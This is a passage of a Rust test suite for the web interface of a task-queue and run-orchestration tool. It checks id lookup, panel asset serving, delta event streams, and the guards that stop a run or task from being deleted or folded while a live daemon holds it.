16878 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
16879 }
16880
16881 #[test]
16882 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
16883 let ids = vec![
16884 "20260902-140501-aaaa".to_owned(),
16885 "20260902-140502-aabb".to_owned(),
16886 ];
16887
16888 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
16889 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
16890 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
16891
16892 assert_eq!(missing.status, StatusCode::NOT_FOUND);
16893 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
16894 assert_eq!(short, "20260902-140502-aabb");
16895 }
16896 #[tokio::test]
16897 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
16898 let fx = Fixture::start().await;
16904 let id = panel(
16905 &fx,
16906 "<img src=\"shot.png\">",
16907 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
16908 );
16909
16910 let doc = fx
16912 .get(&format!("/api/questions/{id}/panel/index.html"))
16913 .await;
16914 assert_eq!(doc.status, 200, "{}", doc.body);
16915 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
16916
16917 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
16918 assert_eq!(sibling.status, 200, "{}", sibling.body);
16919 assert_eq!(sibling.header("content-type"), Some("image/png"));
16920 assert_eq!(
16921 sibling.header("content-security-policy"),
16922 Some(PANEL_CSP),
16923 "the sibling route must carry the same policy as the asset route"
16924 );
16925
16926 assert_eq!(
16929 fx.head(&format!("/api/questions/{id}/panel")).await.status,
16930 200
16931 );
16932 }
16933
16934 #[test]
16935 fn delta_stamps_cover_add_update_remove_and_noop() {
16936 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
16937 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
16938 let delta = diff_stamps(&before, &after, 42);
16939 assert_eq!(delta.base, 42);
16940 assert_eq!(delta.changed, ["b", "c"]);
16941 assert_eq!(delta.removed, ["a"]);
16942 let same = diff_stamps(&after, &after, 43);
16943 assert!(same.changed.is_empty() && same.removed.is_empty());
16944 assert_ne!(stamps_revision(&before), stamps_revision(&after));
16945 let nanos: Stamps = [("b".into(), (2, 20))].into();
16946 let same_ms: Stamps = [("b".into(), (3, 20))].into();
16947 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
16948 assert_eq!(stamps_revision(&Stamps::new()), 0);
16949 }
16950
16951 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
16952 std::fs::create_dir_all(home.join("runs")).unwrap();
16953 Arc::new(Ui::new(
16954 Queue::at(home.join("queue")),
16955 Questions::at(home.join("questions")),
16956 Talks::at(home.join("talks")),
16957 home.join("runs"),
16958 home.to_owned(),
16959 PathBuf::from("/repo/magi"),
16960 ))
16961 }
16962
16963 #[tokio::test]
16964 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
16965 let home = TempDir::new().unwrap();
16966 let ui = delta_test_ui(home.path());
16967 let mut task = Task::new(
16968 "stream task".into(),
16969 "text".into(),
16970 PathBuf::from("/repo"),
16971 Source::Human,
16972 );
16973 ui.queue.put(&mut task).unwrap();
16974 let response = events(State(ui.clone())).await.into_response();
16975 let mut stream = response.into_body().into_data_stream();
16976 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
16977 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
16978 .await
16979 .unwrap()
16980 .unwrap()
16981 .unwrap();
16982 let text = String::from_utf8(chunk.to_vec()).unwrap();
16983 let data = text
16984 .lines()
16985 .find_map(|line| {
16986 line.strip_prefix("data: ")
16987 .or_else(|| line.strip_prefix("data:"))
16988 })
16989 .unwrap();
16990 serde_json::from_str(data).unwrap()
16991 }
16992 let initial = change(&mut stream).await;
16993 assert!(initial.get("queue_delta").is_none());
16994 task.instruction.push_str(" changed");
16995 ui.queue.put(&mut task).unwrap();
16996 let updated = change(&mut stream).await;
16997 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
16998 assert_eq!(
16999 updated["queue_delta"]["changed"],
17000 serde_json::json!([task.id])
17001 );
17002 assert_eq!(
17003 updated["queue_rev"].as_u64(),
17004 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
17005 );
17006 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
17007 let removed = change(&mut stream).await;
17008 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
17009 assert_eq!(
17010 removed["queue_delta"]["removed"],
17011 serde_json::json!([task.id])
17012 );
17013 }
17014
17015 #[tokio::test]
17016 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
17017 let home = TempDir::new().unwrap();
17018 let ui = delta_test_ui(home.path());
17019 let queue = ui.queue.clone();
17020 let query = |ids: Option<&str>| {
17021 Query(ListQuery {
17022 limit: Some(2),
17023 ids: ids.map(str::to_owned),
17024 })
17025 };
17026 let mut root = Task::new(
17027 "root".into(),
17028 "instruction".into(),
17029 PathBuf::from("/repo"),
17030 Source::Human,
17031 );
17032 queue.put(&mut root).unwrap();
17033 let mut blocked = Task::new(
17034 "blocked".into(),
17035 "instruction".into(),
17036 PathBuf::from("/repo"),
17037 Source::Human,
17038 );
17039 blocked.block(vec![root.id.clone()], None);
17040 queue.put(&mut blocked).unwrap();
17041 let whole =
17042 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
17043 .unwrap();
17044 let subset = serde_json::to_value(
17045 queue_list(State(ui.clone()), query(Some(&root.id)))
17046 .await
17047 .unwrap()
17048 .0,
17049 )
17050 .unwrap();
17051 assert_eq!(whole, subset, "requested root plus its blocked dependent");
17052 let blockers = serde_json::to_value(
17053 queue_list(State(ui.clone()), query(Some("")))
17054 .await
17055 .unwrap()
17056 .0,
17057 )
17058 .unwrap();
17059 assert_eq!(blockers.as_array().unwrap().len(), 1);
17060 assert_eq!(blockers[0]["id"], blocked.id);
17061 assert_eq!(
17062 blockers[0]["waits_on"],
17063 whole
17064 .as_array()
17065 .unwrap()
17066 .iter()
17067 .find(|row| row["id"] == blocked.id)
17068 .unwrap()["waits_on"]
17069 );
17070
17071 for id in [
17072 "20260902-140501-aaaa",
17073 "20260902-140502-bbbb",
17074 "20260902-140503-cccc",
17075 ] {
17076 write_run(&ui.runs, id, RunStatus::Merged);
17077 }
17078 let old = serde_json::to_value(
17079 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
17080 .await
17081 .unwrap()
17082 .0,
17083 )
17084 .unwrap();
17085 assert!(
17086 old.as_array().unwrap().is_empty(),
17087 "older updates must not enter the window"
17088 );
17089 let newest = serde_json::to_value(
17090 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
17091 .await
17092 .unwrap()
17093 .0,
17094 )
17095 .unwrap();
17096 assert_eq!(newest.as_array().unwrap().len(), 1);
17097 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
17098
17099 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
17100 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
17101 let talks = serde_json::to_value(
17102 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
17103 .await
17104 .unwrap()
17105 .0,
17106 )
17107 .unwrap();
17108 assert_eq!(talks.as_array().unwrap().len(), 1);
17109 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
17110 assert_eq!(
17111 serde_json::to_value(
17112 talks_list(State(ui.clone()), query(Some("")))
17113 .await
17114 .unwrap()
17115 .0
17116 )
17117 .unwrap(),
17118 serde_json::json!([])
17119 );
17120 }
17121
17122 #[tokio::test]
17123 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
17124 async fn delta_payload_benchmark() {
17125 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
17126 let ui = delta_test_ui(&home);
17127 let query = |ids: Option<String>| {
17128 Query(ListQuery {
17129 limit: Some(50),
17130 ids,
17131 })
17132 };
17133 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
17134 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
17135 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
17136 let queue_id = queue
17137 .iter()
17138 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
17139 .unwrap_or(&queue[0])
17140 .task
17141 .id
17142 .clone();
17143 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
17144 .await
17145 .unwrap()
17146 .0;
17147 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
17148 .await
17149 .unwrap()
17150 .0;
17151 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
17152 .await
17153 .unwrap()
17154 .0;
17155 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
17156 eprintln!(
17157 "DELTA_PAYLOAD {}",
17158 serde_json::json!({
17159 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
17160 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
17161 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
17162 "counts": [queue.len(), runs.len(), talks.len()],
17163 "blocked": queue_delta.len() - 1,
17164 })
17165 );
17166 }
17167
17168 #[test]
17169 fn runs_revision_moves_when_deleting_an_older_run() {
17170 let temp = TempDir::new().expect("tempdir");
17171 let runs = temp.path().join("runs");
17172 std::fs::create_dir_all(&runs).expect("create runs dir");
17173
17174 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
17175
17176 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
17177 std::thread::sleep(Duration::from_millis(10));
17178 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
17179
17180 let rev_before = runs_revision(&runs);
17181 assert!(rev_before > 0);
17182
17183 let old_dir = runs.join("20260901-100000-old1");
17184 std::fs::remove_dir_all(&old_dir).expect("remove old run");
17185
17186 let rev_after = runs_revision(&runs);
17187 assert_ne!(
17188 rev_before, rev_after,
17189 "deleting an older run must change the revision so other clients see the deletion"
17190 );
17191 }
17192
17193 fn write_state(runs: &FsPath, state: &RunState) {
17198 let dir = runs.join(&state.id);
17199 std::fs::create_dir_all(&dir).expect("run dir");
17200 std::fs::write(
17201 dir.join("run.json"),
17202 serde_json::to_string_pretty(state).expect("serialize run"),
17203 )
17204 .expect("write run.json");
17205 }
17206
17207 #[test]
17212 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
17213 let temp = TempDir::new().expect("tempdir");
17214 let runs = temp.path().join("runs");
17215 std::fs::create_dir_all(&runs).expect("create runs dir");
17216 let mut state = RunState::new(
17217 PathBuf::from("/repo/magi"),
17218 "main".to_owned(),
17219 "0123456789abcdef".to_owned(),
17220 "task".to_owned(),
17221 Config::default(),
17222 );
17223 state.id = "20260902-100000-c0de".to_owned();
17224 write_state(&runs, &state);
17225
17226 let rev_idle = runs_revision(&runs);
17227 std::thread::sleep(Duration::from_millis(10));
17228 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
17229 write_state(&runs, &state);
17230 let rev_started = runs_revision(&runs);
17231 assert_ne!(
17232 rev_idle, rev_started,
17233 "a seat starting must move the revision"
17234 );
17235
17236 std::thread::sleep(Duration::from_millis(10));
17237 state.seat_finished("judge-1");
17238 write_state(&runs, &state);
17239 let rev_finished = runs_revision(&runs);
17240 assert_ne!(
17241 rev_started, rev_finished,
17242 "and clearing it again must move the revision a second time"
17243 );
17244 }
17245
17246 #[tokio::test]
17247 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
17248 let fx = Fixture::start().await;
17253 let q = fx.queue();
17254
17255 let mut t = Task::new(
17256 "Task".to_owned(),
17257 "Instruction".to_owned(),
17258 PathBuf::from("/repo"),
17259 Source::Human,
17260 );
17261 t.block(
17262 vec!["20260101-000000-dead".to_owned()],
17263 Some("waiting on Task 1".to_owned()),
17264 );
17265 t.answers.push(crate::queue::AnsweredQuestion {
17266 question: "Which backend?".to_owned(),
17267 answer: "SQLite".to_owned(),
17268 });
17269 q.put(&mut t).expect("put t");
17270
17271 let res = fx.get("/api/queue").await;
17272 assert_eq!(res.status, 200);
17273 let list = res.json();
17274 let view = list
17275 .as_array()
17276 .expect("array")
17277 .iter()
17278 .find(|v| v["id"] == t.id)
17279 .expect("task in list");
17280 assert_eq!(view["status_str"], "blocked");
17281 assert_eq!(
17282 view["blocked_by"],
17283 serde_json::json!(["20260101-000000-dead"])
17284 );
17285 assert_eq!(view["block_reason"], "waiting on Task 1");
17286 assert_eq!(view["answers"][0]["question"], "Which backend?");
17287 assert_eq!(view["answers"][0]["answer"], "SQLite");
17288
17289 let res = fx
17293 .post(&format!("/api/queue/{}/hold", t.short()), None)
17294 .await;
17295 assert_eq!(res.status, 200);
17296 let held = res.json();
17297 assert_eq!(held["status_str"], "held");
17298 assert_eq!(held["blocked_by"], serde_json::json!([]));
17299 assert!(held["block_reason"].is_null());
17300 assert_eq!(held["answers"][0]["answer"], "SQLite");
17301 }
17302
17303 #[tokio::test]
17304 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
17305 let fx = Fixture::start().await;
17306 let q = fx.queue();
17307 let mk = |title: &str| {
17308 Task::new(
17309 title.to_owned(),
17310 "Instruction".to_owned(),
17311 PathBuf::from("/repo"),
17312 Source::Human,
17313 )
17314 };
17315 let mut root = mk("root");
17316 root.hold_manual(Some("waiting".to_owned()));
17317 q.put(&mut root).unwrap();
17318 let mut mid = mk("mid");
17319 mid.block(vec![root.id.clone()], None);
17320 q.put(&mut mid).unwrap();
17321 let mut leaf = mk("leaf");
17322 leaf.block(vec![mid.id.clone()], None);
17323 q.put(&mut leaf).unwrap();
17324
17325 let list = fx.get("/api/queue").await.json();
17326 let find = |id: &str| {
17327 list.as_array()
17328 .unwrap()
17329 .iter()
17330 .find(|v| v["id"] == id)
17331 .unwrap()
17332 .clone()
17333 };
17334 let leaf_view = find(&leaf.id);
17335 assert_eq!(
17336 leaf_view["waits_on"],
17337 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
17338 );
17339 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
17340 assert_eq!(
17341 find(&mid.id)["waits_on"],
17342 serde_json::json!([format!("{} (held)", root.short())])
17343 );
17344 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
17345 }
17346
17347 #[tokio::test]
17348 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
17349 let fx = Fixture::start().await;
17350 let q = fx.queue();
17351
17352 let mut t1 = Task::new(
17354 "Task 1".to_owned(),
17355 "Instruction 1".to_owned(),
17356 PathBuf::from("/repo"),
17357 Source::Human,
17358 );
17359 let run_id = "20260901-000000-r111";
17360 t1.runs.push(run_id.to_owned());
17361 write_run(&fx.runs(), run_id, RunStatus::Merged);
17362 q.put(&mut t1).expect("put t1");
17363
17364 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
17366 assert_eq!(res.status, 204);
17367 assert!(res.body.is_empty(), "204 No Content has no body");
17368 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
17369 assert!(
17370 fx.runs().join(run_id).exists(),
17371 "run directory must not be deleted when its task is deleted"
17372 );
17373
17374 let mut t2 = Task::new(
17376 "Task 2".to_owned(),
17377 "Instruction 2".to_owned(),
17378 PathBuf::from("/repo"),
17379 Source::Human,
17380 );
17381 t2.status = TaskStatus::Running;
17382 q.put(&mut t2).expect("put t2");
17383 let mut beat = crate::daemon::Status::new();
17384 beat.current = vec![crate::daemon::Current {
17385 task: t2.id.clone(),
17386 run: "20260901-000000-r222".to_owned(),
17387 }];
17388 beat.updated_at = jiff::Timestamp::now();
17389 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17390 .expect("publish a heartbeat");
17391 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
17392 assert_eq!(res.status, 409);
17393 assert!(
17394 res.json()["error"]
17395 .as_str()
17396 .unwrap()
17397 .contains("live daemon")
17398 );
17399 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
17400
17401 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
17407 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17408 .expect("leave a stale heartbeat");
17409 let mut t3 = Task::new(
17410 "Task 3".to_owned(),
17411 "Instruction 3".to_owned(),
17412 PathBuf::from("/repo"),
17413 Source::Human,
17414 );
17415 t3.status = TaskStatus::Running;
17416 q.put(&mut t3).expect("put t3");
17417 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
17418 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
17419 assert_eq!(res.status, 204);
17420 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
17421 assert!(
17422 q.claim(&t3.id).is_ok(),
17423 "the stale lock went with it, so the id is claimable again"
17424 );
17425
17426 let res = fx.delete("/api/queue/nonexistent").await;
17428 assert_eq!(res.status, 404);
17429 }
17430
17431 #[tokio::test]
17432 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
17433 let fx = Fixture::start().await;
17434 let runs = fx.runs();
17435
17436 let run_id = "20260901-000000-fold";
17438 let mut state = RunState::new(
17439 PathBuf::from("/repo"),
17440 "main".to_owned(),
17441 "abc".to_owned(),
17442 "instruction".to_owned(),
17443 Config::default(),
17444 );
17445 state.id = run_id.to_owned();
17446 state.status = RunStatus::Merged;
17447 state.candidates.push(crate::run::Candidate {
17448 index: 0,
17449 label: 'A',
17450 agent: "a".to_owned(),
17451 branch: "b".to_owned(),
17452 worktree: PathBuf::from("/w"),
17453 summary: String::new(),
17454 stat: String::new(),
17455 files: 1,
17456 commits: 1,
17457 empty: false,
17458 failed: None,
17459 verified_noop: None,
17460 duration_ms: 0,
17461 folded: true,
17462 });
17463 let dir = runs.join(run_id);
17464 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
17465 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
17466 .expect("write artifact");
17467 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
17468 .expect("write run.json");
17469
17470 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
17472 assert_eq!(res.status, 204);
17473 assert!(res.body.is_empty(), "204 has no body");
17474 assert!(!dir.exists(), "run directory and artifacts must be deleted");
17475
17476 let run_running = "20260901-000000-rung";
17481 write_run(&runs, run_running, RunStatus::Prep);
17482 let mut beat = crate::daemon::Status::new();
17483 beat.current = vec![crate::daemon::Current {
17484 task: "20260901-000000-task".to_owned(),
17485 run: run_running.to_owned(),
17486 }];
17487 beat.updated_at = jiff::Timestamp::now();
17488 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17489 .expect("publish a heartbeat");
17490 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
17491 assert_eq!(res.status, 409);
17492 assert!(
17493 res.json()["error"]
17494 .as_str()
17495 .unwrap()
17496 .contains("live daemon"),
17497 "the refusal must say who is holding it"
17498 );
17499 assert!(
17500 runs.join(run_running).exists(),
17501 "a run in flight keeps its directory"
17502 );
17503
17504 let run_unfolded = "20260901-000000-unfd";
17506 let mut state2 = RunState::new(
17507 PathBuf::from("/repo"),
17508 "main".to_owned(),
17509 "abc".to_owned(),
17510 "instruction".to_owned(),
17511 Config::default(),
17512 );
17513 state2.id = run_unfolded.to_owned();
17514 state2.status = RunStatus::Ready;
17515 state2.candidates.push(crate::run::Candidate {
17516 index: 0,
17517 label: 'A',
17518 agent: "a".to_owned(),
17519 branch: "b".to_owned(),
17520 worktree: PathBuf::from("/w"),
17521 summary: String::new(),
17522 stat: String::new(),
17523 files: 1,
17524 commits: 1,
17525 empty: false,
17526 failed: None,
17527 verified_noop: None,
17528 duration_ms: 0,
17529 folded: false,
17530 });
17531 let dir2 = runs.join(run_unfolded);
17532 std::fs::create_dir_all(&dir2).expect("create dir2");
17533 std::fs::write(
17534 dir2.join("run.json"),
17535 serde_json::to_string(&state2).unwrap(),
17536 )
17537 .expect("write run.json");
17538
17539 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
17540 assert_eq!(res.status, 409);
17541 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
17542 assert!(dir2.exists(), "unfolded run directory is kept");
17543
17544 let res = fx.delete("/api/runs/nonexistent").await;
17546 assert_eq!(res.status, 404);
17547 }
17548
17549 #[test]
17558 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
17559 let start = APP_JS
17560 .find("function renderStats() {")
17561 .expect("renderStats");
17562 let end = start
17563 + APP_JS[start..]
17564 .find("function statsTile(")
17565 .expect("the next top-level function");
17566 let body = &APP_JS[start..end];
17567
17568 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
17569 let gate_end = gate_start
17570 + body[gate_start..]
17571 .find("}\n renderStatsQueue")
17572 .expect("the gate's own closing brace, right before the unconditional call");
17573 let gated = &body[gate_start..gate_end];
17574
17575 assert_eq!(
17576 body.matches("renderStatsQueue(").count(),
17577 1,
17578 "renderStats must call renderStatsQueue exactly once: {body}"
17579 );
17580 assert!(
17581 !gated.contains("renderStatsQueue"),
17582 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
17583 run-derived panels on an empty run history - the queue panel has to render \
17584 regardless: {gated}"
17585 );
17586 }
17587
17588 #[test]
17589 fn web_ui_delete_contract_in_front_end() {
17590 assert!(APP_JS.contains("deleteRun:"));
17592 assert!(APP_JS.contains("deleteTask:"));
17593
17594 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
17596 ..APP_JS.find("function renderRuns").unwrap()];
17597 assert!(!run_cards_slice.to_lowercase().contains("delete"));
17598
17599 assert!(APP_JS.contains("renderRunDelete"));
17601 assert!(APP_JS.contains("runDeleteReason"));
17602 assert!(APP_JS.contains("magi fold"));
17603 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
17604
17605 assert!(APP_JS.contains("cancel.focus"));
17607 assert!(APP_JS.contains("armedRunDelete"));
17608 assert!(APP_JS.contains("renderTaskDeleteBox"));
17609 assert!(APP_JS.contains("armed${cap(key)}"));
17610
17611 assert!(APP_JS.contains("disabled: status === \"running\""));
17613 }
17614
17615 #[test]
17635 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
17636 let build = APP_JS
17637 .find("function createRunCard")
17638 .expect("createRunCard exists");
17639 let update = APP_JS
17640 .find("function updateRunCard")
17641 .expect("updateRunCard exists");
17642 let end = APP_JS
17643 .find("function renderRuns")
17644 .expect("renderRuns exists");
17645
17646 let builder = &APP_JS[build..update];
17648 let open = builder.find("refs = {").expect("createRunCard sets refs");
17649 let literal = &builder[open + "refs = {".len()..];
17650 let close = literal.find('}').expect("the refs literal is closed");
17651 let published: HashSet<&str> = literal[..close]
17652 .split(',')
17653 .filter_map(|entry| entry.split(':').next())
17655 .map(str::trim)
17656 .filter(|name| !name.is_empty())
17657 .collect();
17658 assert!(
17659 published.len() > 5,
17660 "the refs literal did not parse into names: {published:?}"
17661 );
17662
17663 let mut used: Vec<&str> = Vec::new();
17666 let updaters = &APP_JS[update..end];
17667 for (at, _) in updaters.match_indices("r.") {
17668 let before = updaters[..at].chars().next_back();
17671 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
17672 continue;
17673 }
17674 let rest = &updaters[at + 2..];
17675 let len = rest
17676 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
17677 .unwrap_or(rest.len());
17678 if len > 0 {
17679 used.push(&rest[..len]);
17680 }
17681 }
17682 assert!(
17683 used.len() > 5,
17684 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
17685 );
17686
17687 let missing: Vec<&str> = used
17688 .iter()
17689 .copied()
17690 .filter(|name| !published.contains(name))
17691 .collect();
17692 assert!(
17693 missing.is_empty(),
17694 "a run card's updater reaches for {missing:?}, which `createRunCard` \
17695 never put in `refs` - every card will throw and the list will \
17696 render empty under a count line that says otherwise. Published: \
17697 {published:?}"
17698 );
17699 }
17700
17701 #[tokio::test]
17702 async fn folding_from_the_phone_reports_what_it_removed() {
17703 let fx = Fixture::start().await;
17704 let runs = fx.runs();
17705
17706 let id = "20260901-000000-fold";
17710 write_run(&runs, id, RunStatus::Stalled);
17711 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17712 assert_eq!(res.status, 200);
17713 assert_eq!(res.json()["removed_count"], 0);
17714 assert_eq!(res.json()["run"], id);
17715 assert!(
17716 runs.join(id).exists(),
17717 "a fold keeps the run's record; only the worktrees go"
17718 );
17719 }
17720
17721 #[tokio::test]
17722 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
17723 let fx = Fixture::start().await;
17724 let runs = fx.runs();
17725 let wt = fx.home.path().join("wt").join("magi").join("dead");
17726 let id = "20260901-000000-dead";
17727 std::fs::create_dir_all(runs.join(id)).expect("run dir");
17728 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
17729 std::fs::create_dir_all(&wt).expect("worktree dir");
17730
17731 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17732 assert_eq!(res.status, 200, "{}", res.body);
17733 assert!(
17734 res.json()["removed_count"].as_u64().unwrap() > 0,
17735 "the worktree this build could not read a state for still went"
17736 );
17737 assert!(
17738 !runs.join(id).exists(),
17739 "an unreadable run has no candidate list to fold selectively, so \
17740 the whole record goes - same as `magi fold` on the CLI"
17741 );
17742 }
17743
17744 #[tokio::test]
17745 async fn deleting_an_unreadable_run_removes_it_wholesale() {
17746 let fx = Fixture::start().await;
17747 let runs = fx.runs();
17748 let wt = fx.home.path().join("wt").join("magi").join("gone");
17749 let id = "20260901-000000-gone";
17750 std::fs::create_dir_all(runs.join(id)).expect("run dir");
17751 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
17752 std::fs::create_dir_all(&wt).expect("worktree dir");
17753
17754 let res = fx.delete(&format!("/api/runs/{id}")).await;
17755 assert_eq!(res.status, 204, "{}", res.body);
17756 assert!(!runs.join(id).exists(), "the broken record is gone");
17757 assert!(!wt.exists(), "its worktree is gone too");
17758 }
17759
17760 #[tokio::test]
17761 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
17762 let fx = Fixture::start().await;
17763 let runs = fx.runs();
17764 let id = "20260901-000000-live";
17765 write_run(&runs, id, RunStatus::Implementing);
17766
17767 let mut beat = crate::daemon::Status::new();
17768 beat.current = vec![crate::daemon::Current {
17769 task: "20260901-000000-task".to_owned(),
17770 run: id.to_owned(),
17771 }];
17772 beat.updated_at = jiff::Timestamp::now();
17773 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17774 .expect("publish a heartbeat");
17775
17776 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17777 assert_eq!(res.status, 409);
17778 assert!(
17779 res.json()["error"]
17780 .as_str()
17781 .unwrap()
17782 .contains("live daemon"),
17783 "folding under a running agent would pull its worktree away"
17784 );
17785 }
17786
17787 #[tokio::test]
17788 async fn fold_merged_requires_a_pr_url() {
17789 let fx = Fixture::start().await;
17790 let runs = fx.runs();
17791 let id = "20260901-000000-nourl";
17792 write_run(&runs, id, RunStatus::Blocked);
17793
17794 let res = fx
17795 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
17796 .await;
17797 assert_eq!(res.status, 400, "{}", res.body);
17798
17799 let blank = fx
17800 .post(
17801 &format!("/api/runs/{id}/fold-merged"),
17802 Some(r#"{"pr_url":" "}"#),
17803 )
17804 .await;
17805 assert_eq!(blank.status, 400, "{}", blank.body);
17806 }
17807
17808 #[tokio::test]
17809 async fn fold_merged_is_404_for_an_unknown_run() {
17810 let fx = Fixture::start().await;
17811 let res = fx
17812 .post(
17813 "/api/runs/nosuchrun/fold-merged",
17814 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17815 )
17816 .await;
17817 assert_eq!(res.status, 404, "{}", res.body);
17818 }
17819
17820 #[tokio::test]
17821 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
17822 let fx = Fixture::start().await;
17823 let runs = fx.runs();
17824 let id = "20260901-000000-livemerge";
17825 write_run(&runs, id, RunStatus::Blocked);
17826
17827 let mut beat = crate::daemon::Status::new();
17828 beat.current = vec![crate::daemon::Current {
17829 task: "20260901-000000-task".to_owned(),
17830 run: id.to_owned(),
17831 }];
17832 beat.updated_at = jiff::Timestamp::now();
17833 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17834 .expect("publish a heartbeat");
17835
17836 let res = fx
17837 .post(
17838 &format!("/api/runs/{id}/fold-merged"),
17839 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17840 )
17841 .await;
17842 assert_eq!(res.status, 409, "{}", res.body);
17843 assert!(
17844 res.json()["error"]
17845 .as_str()
17846 .unwrap()
17847 .contains("live daemon"),
17848 "correcting a run's merge underneath a running agent would race \
17849 whatever it is doing to the same `status`/`merge` fields"
17850 );
17851 }
17852
17853 #[tokio::test]
17858 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
17859 let fx = Fixture::start().await;
17860 let runs = fx.runs();
17861 let id = "20260901-000000-unconfirmed";
17862 write_run(&runs, id, RunStatus::Blocked);
17863
17864 let res = fx
17865 .post(
17866 &format!("/api/runs/{id}/fold-merged"),
17867 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17868 )
17869 .await;
